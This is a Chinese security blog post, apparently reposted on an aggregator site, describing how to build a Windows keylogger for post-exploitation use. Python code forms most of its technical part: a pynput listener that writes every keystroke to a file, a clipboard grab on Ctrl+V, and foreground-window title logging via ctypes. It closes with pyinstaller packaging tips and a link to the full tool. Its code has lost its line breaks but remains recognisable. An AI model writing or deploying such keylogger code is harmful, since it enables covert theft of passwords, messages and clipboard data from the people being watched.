工具开发|键盘记录工具原理及代码实现
作者: Beard林
免責聲明:本文僅供學習研究,嚴禁從事非法活動,任何后果由使用者本人負責。
0x01 對于鍵盤記錄簡述
鍵盤記錄一般用在后滲透中,以此方法尋求擴大戰果。有些c2工具集成了這個功能,github上也有一些獨立的工具,因為開發的語言不一樣,大小也不一樣,實用性也各不相同。
0x02 拆分鍵盤記錄
鍵盤記錄工具其實就是設置了一個鉤子來獲取按鍵的輸入,流程如下:
1.工具創建進程
2.調用windows API
3.利用API鉤子獲取按鍵輸入
4.將獲取數據保存
用python實現以上要求需要的模塊如下:
pywin32
threading
pynput
ctypes
os
0x03 主要代碼
按鍵獲取代碼:
from pynput import keyboarddef keyboard_on_release(self, key): # 鍵盤彈起時的操作with open(self.path+'key_log.txt','a') as a:a.write(str(key)+'\n') with keyboard.Listener(on_release=self.keyboard_on_release) as KeyboardListener:#此處設置按下時觸發的處理函數KeyboardListener.join()當使用粘貼鍵時獲取剪切板數據:
import win32clipboard#該模塊下載pywin32時附帶了if '\\x16'in str(key):#win32clipboard.OpenClipboard()data = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()a.write('[Ctrl+V]:{'+data+'}'+'\n')獲取當前窗口名:
from ctypes import *window_name_value=['no'] def window_name():user32 = windll.user32kernel32 = windll.kernel32hwnd = user32.GetForegroundWindow()#獲取句柄window_title = create_string_buffer(512)user32.GetWindowTextA(hwnd, byref(window_title), 512) # 指定句柄獲取窗口名value = window_title.valuekernel32.CloseHandle(hwnd)return value.decode('gbk')if window_name_value[0] !='no':#第一次獲取窗口名的時候,進入下面的代碼window_name_value[0]=window_name() value=window_name()#獲取當前的窗口名 with open('key_log.txt','a') as a:if value != window_name_value[0]:#當前窗口名和window_name_value[0]的值不同時保存新的值window_name_value[0] = valuea.write('[Window+name]:'+str(value)+'\n')#按照格式進行保存0x04 問題總結
1.pip安裝win32clipboard時找不到這個模塊
答:該模塊在python2中win32模塊包含此包,python3則是py
win32包含
2.用pyinstaller打包后運行提示找不到win32clipboard,但是在pycharm中卻可以運行
答:使用pycharm編寫程序的話最好在添加pyinstaller模塊,而不是使用環境下的pyinstaller。
具體代碼會上傳到給灼劍的團隊github上,師傅們有興趣的可以下載測試一下。
項目地址:https://github.com/Tsojan/Keyboard-record
0x05 了解更多安全知識
歡迎關注我們的安全公眾號,學習更多安全知識!!!
歡迎關注我們的安全公眾號,學習更多安全知識!!!
歡迎關注我們的安全公眾號,學習更多安全知識!!!
總結
以上是生活随笔為你收集整理的工具开发|键盘记录工具原理及代码实现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python实现一个键盘记录器功能
- 下一篇: 5分钟内完成Python键盘记录程序